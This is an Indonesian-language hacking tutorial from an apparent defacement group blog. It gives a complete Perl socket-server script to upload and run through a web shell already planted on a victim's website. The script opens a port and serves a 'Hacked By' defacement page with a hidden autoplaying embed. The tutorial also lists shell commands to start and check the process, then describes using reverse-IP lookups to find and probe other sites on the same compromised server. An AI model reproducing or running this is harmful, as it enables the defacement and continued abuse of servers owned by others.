Cara Socket Server Dengan Perl

Halo sobat DarkSec kali ini saya akan memberikan sedikit tutor tentang Cara Socket Server Dengan Perl. Sebelum saya mulai tutornya, saya mau mengucapkan terimakasih dahulu kepada Agus Setya R ( founder IndoXploit ).
Oke langsung saja ke tutorialnya, simak baik-baik.

Bahan Bahan

• Shell yang udah di tanem
• Script perl ( Ada dibawah )
• Pc/laptop ( hacdphone juga boleh )
• Internet
• Kopi

Langkah-langkahnya

Sebelumnya pastikan perl diwebsite yang udah anda tanem ON.

1. Copy script perlnya dibawah lalu anda edit. perl inilah yang nanti digunakan buat memebuka port. Oh iya untuk port bebas mau port berapa saja. Disini saya ubah portnya menjadi 2001, Ganti Hacked By Dark_Cyber menjadi nick anda. Lalu save dengan extensi .pl

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

#!/usr/bin/perl -w use strict; use IO::Socket; sub Wait { wait; # wait needed to keep <defunct> pids from building up } $SIG{CHLD} = \&Wait; my $server = IO::Socket::INET->new( LocalPort => 2001, # set port Type => SOCK_STREAM, Reuse => 1, Listen => 10) or die "$@\n"; my $client ; while($client = $server->accept()) { select $client; print $client "HTTP/1.0 200 OK\r\n"; print $client "Content-type: text/html\r\n\r\n"; print $client '<H1>Dark_Cyber</H1><BR><H2>Pacman Corp Team</H2><embed src="https://www.youtube.com/v/TmhibQ28GKE&autoplay=1&playlist=TmhibQ28GKE" wmode="transparent" type="application/x-shockwave-flash" height="0" width="0"></embed>'; # set your html content } continue { close($client); #kills hangs kill CHLD => -$$; }

2. upload script perlnya lewat shell anda masuk ke command lalu ketikan perintah

• perl iseng.pl

iseng.pl adalah nama file perl saya jadi sesuaikan dengan punyamu.

3. Kemudian ketikkan

• ps aux | grep 'iseng'

4. Kalau sudah selanjutnya kalian cek di browser http://site.co.li:2001

Lalu kita reverse ip site korban untuk mengetahui ada berapa website yang 1 server dengannya.

https://www.yougetsignal.com/tools/web-sites-on-web-server/

Lalu cek satu per satu domain hasil reverse ip tadi lalu tambahkan port 2001 dibelakangnya. Jika vuln maka akan muncul script anda tetapi jika error lebih baik tinggalkan saja hehehe.

Oke mungkin cuma itu saja tutorial kali ini kalau kurang jelas bisa komen saja atau kirim email ke saya darksec1407@gmail.com insya allah saya bales. Selamat beraktivitas.